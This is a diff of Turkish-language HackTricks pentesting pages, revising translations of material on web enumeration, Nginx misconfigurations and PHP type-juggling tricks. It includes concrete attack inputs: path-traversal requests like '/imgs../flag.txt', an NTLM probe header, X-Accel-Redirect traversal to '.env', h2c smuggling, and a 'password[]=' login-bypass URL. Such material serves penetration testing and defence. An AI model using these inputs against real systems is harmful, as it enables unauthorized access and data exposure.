* **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deşifreleme** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* Birçok durumda, kullanılan düzenli ifadeleri **anlamak** gerekecektir, bu faydalı olacaktır: [https://regex101.com/](https://regex101.com)
* Ayrıca, **formların tespit edildiği dosyaları izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
* Ayrıca **formların tespit edildiği dosyaları izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
@ -329,21 +329,21 @@ _Kaba kuvvetleme veya tarama sırasında yeni bir dizin keşfedildiğinde, bu di
**502 Proxy Hatası**
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız.
Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak ve bir** SSRF **bulmuş olacaksınız.**
**NTLM Kimlik Doğrulama - Bilgi ifşası**
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** provake edebilirsiniz.\
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
**Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirme (CTF)**
Bir **Yönlendirme** içinde **içerik** yerleştirmek mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
### Web Zafiyetleri Kontrolü
### Web Zafiyetlerini Kontrol Etme
Artık web uygulamasının kapsamlı bir envanteri yapıldı, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
Artık web uygulamasının kapsamlı bir envanteri alındığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -355,15 +355,15 @@ Web zafiyetleri hakkında daha fazla bilgi için:
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Sayfaları değişiklikler için izleme
### Sayfaları Değişiklikler için İzleme
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -36,7 +36,7 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
Bu yapılandırmada, `/etc/nginx` kök dizin olarak belirlenmiştir. Bu ayar, `/hello.txt` gibi belirtilen kök dizin içindeki dosyalara erişim sağlar. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlandığını belirtmek önemlidir. Kök konumu için bir yapılandırma yoktur (`location / {...}`). Bu eksiklik, kök direktifinin küresel olarak uygulanması anlamına gelir ve kök yolu `/` altındaki dosyalara erişim sağlar.
Bu yapılandırmada, `/etc/nginx` kök dizin olarak belirlenmiştir. Bu ayar, `/hello.txt` gibi belirtilen kök dizin içindeki dosyalara erişim sağlar. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlandığını belirtmek önemlidir. Kök konumu için (`location / {...}`) herhangi bir yapılandırma yoktur. Bu eksiklik, kök direktifinin küresel olarak uygulanması anlamına gelir ve kök yolu `/` altındaki dosyalara erişim sağlar.
Bu yapılandırmadan kaynaklanan kritik bir güvenlik dikkati vardır. `GET /nginx.conf` gibi basit bir `GET` isteği, `/etc/nginx/nginx.conf` konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgileri açığa çıkarabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak bu riski azaltabilir, ancak yine de diğer kritik dosyalara, diğer yapılandırma dosyalarına, erişim günlüklerine ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişim izni verebilir.
@ -48,7 +48,7 @@ location /imgs {
alias /path/images/;
}
```
Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri, hedef dizinin dışındaki dosyalara erişim girişimi olarak yorumlaması nedeniyle LFI saldırılarına açıktır ve bu da `/path/images/../flag.txt` olarak çözülmektedir. Bu hata, saldırganların web üzerinden erişilememesi gereken dosyaları sunucunun dosya sisteminden almasına olanak tanır.
Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri, hedef dizin dışındaki dosyalara erişim girişimi olarak yorumlaması nedeniyle LFI saldırılarına açıktır ve bu da `/path/images/../flag.txt` olarak çözülmektedir. Bu hata, saldırganların web üzerinden erişilememesi gereken dosyaları sunucunun dosya sisteminden almasına olanak tanır.
Bu güvenlik açığını azaltmak için yapılandırma şu şekilde ayarlanmalıdır:
```
@ -119,7 +119,7 @@ Ayrıca bu teknik [**bu konuşmada açıklanmıştır**](https://www.youtube.com
* `https://example.com/%20X` - Herhangi bir HTTP kodu
* `https://example.com/%20H` - 400 Bad Request
Eğer savunmasızsa, ilki "X" herhangi bir HTTP yöntemi olarak dönecek ve ikincisi H geçerli bir yöntem olmadığından bir hata dönecektir. Böylece sunucu şunları alacak: `GET / H HTTP/1.1` ve bu hatayı tetikleyecektir.
Eğer savunmasızsa, ilki "X" herhangi bir HTTP yöntemi olarak dönecek ve ikincisi H geçerli bir yöntem olmadığından bir hata dönecektir. Böylece sunucu şunları alacak: `GET / H HTTP/1.1` ve bu hata tetiklenecektir.
Diğer tespit örnekleri şunlar olabilir:
@ -148,7 +148,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Herhangi bir değişken
**Kullanıcı tarafından sağlanan verilerin**, belirli koşullar altında **Nginx değişkeni** olarak işlenebileceği keşfedilmiştir. Bu davranışın nedeni biraz belirsiz kalmakla birlikte, nadir ya da doğrulaması basit değildir. Bu anomali, HackerOne'da yayınlanan bir güvenlik raporunda vurgulanmıştır, [buradan](https://hackerone.com/reports/370094) görüntülenebilir. Hata mesajı üzerindeki daha fazla araştırma, bunun [Nginx'in kod tabanındaki SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) meydana geldiğini belirlemiş ve Sunucu Tarafı Dahil Etmelerin (SSI) temel neden olduğunu ortaya koymuştur.
**Kullanıcı tarafından sağlanan verilerin**, belirli koşullar altında **Nginx değişkeni** olarak ele alınabileceği keşfedilmiştir. Bu davranışın nedeni biraz belirsiz kalmakla birlikte, nadir ya da doğrulaması basit değildir. Bu anomali, HackerOne'da yayınlanan bir güvenlik raporunda vurgulanmıştır, [buradan](https://hackerone.com/reports/370094) görüntülenebilir. Hata mesajı üzerindeki daha fazla araştırma, bunun [Nginx'in kod tabanındaki SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) meydana geldiğini belirlemiş ve Sunucu Tarafı Dahil Etmelerin (SSI) kök neden olduğunu ortaya çıkarmıştır.
Bu **yanlış yapılandırmayı tespit etmek** için, değişken yazdırmasını test etmek amacıyla bir referer başlığı ayarlamayı içeren aşağıdaki komut çalıştırılabilir:
```bash
@ -158,7 +158,7 @@ Bu yanlış yapılandırma için sistemler arasında yapılan taramalar, bir kul
## Ham arka uç yanıtı okuma
Nginx, arka uç tarafından üretilen hataları ve HTTP başlıklarını yakalamak için `proxy_pass` aracılığıyla bir özellik sunar; bu, dahili hata mesajlarını ve başlıkları gizlemeyi amaçlar. Bu, Nginx'in arka uç hatalarına yanıt olarak özel hata sayfaları sunmasıyla gerçekleştirilir. Ancak, Nginx geçersiz bir HTTP isteğiyle karşılaştığında zorluklar ortaya çıkar. Böyle bir istek, alındığı gibi arka uca iletilir ve arka ucun ham yanıtı, Nginx'in müdahalesi olmadan doğrudan istemciye gönderilir.
Nginx, arka uç tarafından üretilen hataların ve HTTP başlıklarının yakalanmasına olanak tanıyan `proxy_pass` aracılığıyla bir özellik sunar; bu, dahili hata mesajlarını ve başlıkları gizlemeyi amaçlar. Bu, Nginx'in arka uç hatalarına yanıt olarak özel hata sayfaları sunmasıyla gerçekleştirilir. Ancak, Nginx geçersiz bir HTTP isteğiyle karşılaştığında zorluklar ortaya çıkar. Böyle bir istek, alındığı gibi arka uca iletilir ve arka ucun ham yanıtı, Nginx'in müdahalesi olmadan doğrudan istemciye gönderilir.
Bir uWSGI uygulamasını içeren örnek bir senaryoyu düşünün:
```python
@ -174,16 +174,16 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu direktif, Nginx'in 300'den büyük bir durum koduna sahip arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğimizdeki uWSGI uygulaması için, `500 Hatası` yanıtının Nginx tarafından yakalanıp işlenmesini garanti eder.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Adından da anlaşılacağı gibi, bu direktif belirtilen HTTP başlıklarını istemciden gizler, gizliliği ve güvenliği artırır.
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu direktif, Nginx'in 300'den büyük bir durum koduna sahip arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğimiz olan uWSGI uygulaması için, `500 Hatası` yanıtının Nginx tarafından yakalanıp işlenmesini garanti eder.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): İsminden de anlaşılacağı gibi, bu direktif belirtilen HTTP başlıklarını istemciden gizler, gizliliği ve güvenliği artırır.
Geçerli bir `GET` isteği yapıldığında, Nginx bunu normal şekilde işler ve herhangi bir gizli başlık ifşa etmeden standart bir hata yanıtı döner. Ancak, geçersiz bir HTTP isteği bu mekanizmayı atlayarak, gizli başlıklar ve hata mesajları da dahil olmak üzere ham arka uç yanıtlarının ifşasına neden olur.
## merge\_slashes kapalı
Varsayılan olarak, Nginx'in **`merge_slashes` direktifi** **`açık`** olarak ayarlanmıştır; bu, bir URL'deki birden fazla ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini kolaylaştırırken, Nginx'in arkasındaki uygulamalardaki, özellikle yerel dosya dahil etme (LFI) saldırılarına yatkın olanların, zayıflıklarını yanlışlıkla gizleyebilir. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, Nginx'in ters proxy olarak hareket ettiği durumlarda bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamışlardır.
Varsayılan olarak, Nginx'in **`merge_slashes` direktifi** **`açık`** olarak ayarlanmıştır; bu, bir URL'deki birden fazla ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini kolaylaştırırken, Nginx'in arkasındaki uygulamalarda, özellikle yerel dosya dahil etme (LFI) saldırılarına yatkın olanlarda, güvenlik açıklarını gizleyebilir. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, Nginx'in ters proxy olarak hareket ettiği durumlarda bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamışlardır.
Bu tür riskleri azaltmak için, bu zayıflıklara duyarlı uygulamalar için **`merge_slashes` direktifini kapatmak** önerilir. Bu, Nginx'in URL yapısını değiştirmeden uygulamaya istekleri iletmesini sağlar ve böylece temel güvenlik sorunlarını gizlemez.
Bu tür riskleri azaltmak için, bu güvenlik açıklarına duyarlı uygulamalar için **`merge_slashes` direktifini kapatmak** önerilir. Bu, Nginx'in URL yapısını değiştirmeden uygulamaya istekleri iletmesini sağlar ve böylece temel güvenlik sorunlarını gizlemez.
Daha fazla bilgi için [Danny Robinson ve Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d) bağlantısını kontrol edin.
@ -197,7 +197,7 @@ Daha fazla bilgi için [Danny Robinson ve Rotem Bar](https://medium.com/appsflye
* `X-Accel-Expires`: X-Accel-Redirect kullanıldığında yanıtın son kullanma süresini ayarlar.
* `X-Accel-Limit-Rate`: X-Accel-Redirect kullanıldığında yanıtlar için transfer hızını sınırlar.
Örneğin, **`X-Accel-Redirect`** başlığı, nginx'de dahili bir **yönlendirme** oluşturacaktır. Yani, **`root /`** gibi bir nginx yapılandırmasına sahip olmak ve web sunucusundan **`X-Accel-Redirect: .env`** ile bir yanıt almak, nginx'in **`/.env`** içeriğini göndermesine neden olacaktır (Path Traversal).
Örneğin, **`X-Accel-Redirect`** başlığı, nginx'de dahili bir **yönlendirme** oluşturur. Yani, **`root /`** gibi bir nginx yapılandırmasına sahip olmak ve web sunucusundan **`X-Accel-Redirect: .env`** ile bir yanıt almak, nginx'in **`/.env`** içeriğini göndermesine neden olacaktır (Path Traversal).
### **Map Direktifinde Varsayılan Değer**
@ -224,20 +224,20 @@ return 200 "Hello. It is private area: $mappocallow";
### **DNS Spoofing Açığı**
Nginx'e karşı DNS spoofing belirli koşullar altında mümkündür. Eğer bir saldırgan Nginx tarafından kullanılan **DNS sunucusunu** biliyorsa ve DNS sorgularını kesebiliyorsa, DNS kayıtlarını sahteleyebilir. Ancak bu yöntem, Nginx'in DNS çözümü için **localhost (127.0.0.1)** kullanacak şekilde yapılandırılması durumunda etkisizdir. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir:
Nginx'e karşı DNS spoofing belirli koşullar altında mümkündür. Bir saldırgan, Nginx tarafından kullanılan **DNS sunucusunu** biliyorsa ve DNS sorgularını kesebiliyorsa, DNS kayıtlarını sahteleyebilir. Ancak, Nginx **localhost (127.0.0.1)** kullanacak şekilde yapılandırılmışsa, bu yöntem etkisizdir. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir:
```yaml
resolver 8.8.8.8;
```
### **`proxy_pass` ve `internal` Direktifleri**
**`proxy_pass`** direktifi, istekleri diğer sunuculara, ister dahili ister harici olarak yönlendirmek için kullanılır. **`internal`** direktifi, belirli konumların yalnızca Nginx içinde erişilebilir olmasını sağlar. Bu direktifler kendiliğinden bir zafiyet oluşturmasa da, yapılandırmaları dikkatli bir şekilde incelenmelidir, aksi takdirde güvenlik açıklarına yol açabilir.
**`proxy_pass`** direktifi, istekleri diğer sunuculara, ister dahili ister harici olarak yönlendirmek için kullanılır. **`internal`** direktifi, belirli konumların yalnızca Nginx içinde erişilebilir olmasını sağlar. Bu direktifler kendiliğinden zafiyet oluşturmasa da, yapılandırmaları güvenlik açıklarını önlemek için dikkatli bir şekilde incelenmelidir.
## proxy\_set\_header Upgrade & Connection
Eğer nginx sunucusu Upgrade ve Connection başlıklarını geçirecek şekilde yapılandırılmışsa, korunan/dahili uç noktalarına erişmek için bir [**h2c Smuggling saldırısı**](../../pentesting-web/h2c-smuggling.md) gerçekleştirilebilir.
{% hint style="danger" %}
Bu zafiyet, bir saldırganın **`proxy_pass` uç noktası ile doğrudan bir bağlantı kurmasına** izin verecektir (`http://backend:9999` bu durumda) ve içeriği nginx tarafından kontrol edilmeyecektir.
Bu zafiyet, bir saldırganın **`proxy_pass` uç noktası ile doğrudan bir bağlantı kurmasına** (bu durumda `http://backend:9999`) izin verecektir; bu içeriğin nginx tarafından kontrol edilmeyeceği anlamına gelir.
{% endhint %}
`/flag` çalmak için zayıf yapılandırma örneği [buradan](https://bishopfox.com/blog/h2c-smuggling-request):
@ -261,7 +261,7 @@ deny all;
}
```
{% hint style="warning" %}
Not edin ki `proxy_pass` belirli bir **yola** işaret etse bile, bağlantı `http://backend:9999` ile kurulacaktır, bu nedenle o iç uç noktası içinde **herhangi bir başka yolla iletişim kurabilirsiniz. Bu nedenle, proxy_pass URL'sinde bir yol belirtilip belirtilmediği önemli değildir.**
Not edin ki `proxy_pass` belirli bir **yol** olan `http://backend:9999/socket.io` adresine işaret etse bile bağlantı `http://backend:9999` ile kurulacaktır, bu nedenle o iç uç noktası içinde **herhangi bir başka yolla iletişim kurabilirsiniz. Bu nedenle, proxy_pass URL'sinde bir yol belirtilip belirtilmediği önemli değildir.**
{% endhint %}
## Kendin dene
@ -288,9 +288,9 @@ Nginxpwner, yaygın Nginx yanlış yapılandırmalarını ve güvenlik açıklar
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -303,7 +303,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>

View file

@ -1,8 +1,8 @@
# PHP Tricks
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,9 +17,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Gevşek karşılaştırmalar/Tip Değiştirme ( == )
Eğer `==` PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkar ve karşılaştırma beklenildiği gibi davranmaz. Bunun nedeni, "==" sadece aynı tipe dönüştürülmüş değerleri karşılaştırmasıdır; karşılaştırılan verilerin tipinin de aynı olmasını istiyorsanız `===` kullanmalısınız.
Eğer `==` PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" sadece aynı tipe dönüştürülmüş değerleri karşılaştırmasıdır; eğer karşılaştırılan verilerin tipinin de aynı olmasını istiyorsanız `===` kullanmalısınız.
PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -52,10 +52,10 @@ PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.compariso
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizeler ile True sonucu verecek şekilde karşılaştırılabilir (bir dizedeki sayılar sayılar olarak yorumlanır)
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılarla/dizelerle True sonucu ile karşılaştırılabilir (bir dizideki sayılar sayı olarak yorumlanır)
* `"0e3264578" == 0 --> True` "0e" ile başlayan ve ardından herhangi bir şey gelen bir dize, 0'a eşit olacaktır
* `"0X3264578" == 0X --> True` "0" ile başlayan ve ardından herhangi bir harf (X herhangi bir harf olabilir) ve ardından herhangi bir şey gelen bir dize, 0'a eşit olacaktır
* `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizesinin girdiğini ve bununla karşılaştırılan bazı içeriklerin kontrolünü sağlayabilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Bir dizideki herhangi bir harf, int 0'a eşittir
Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -72,7 +72,7 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (şifre kontrolü gibi) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir:
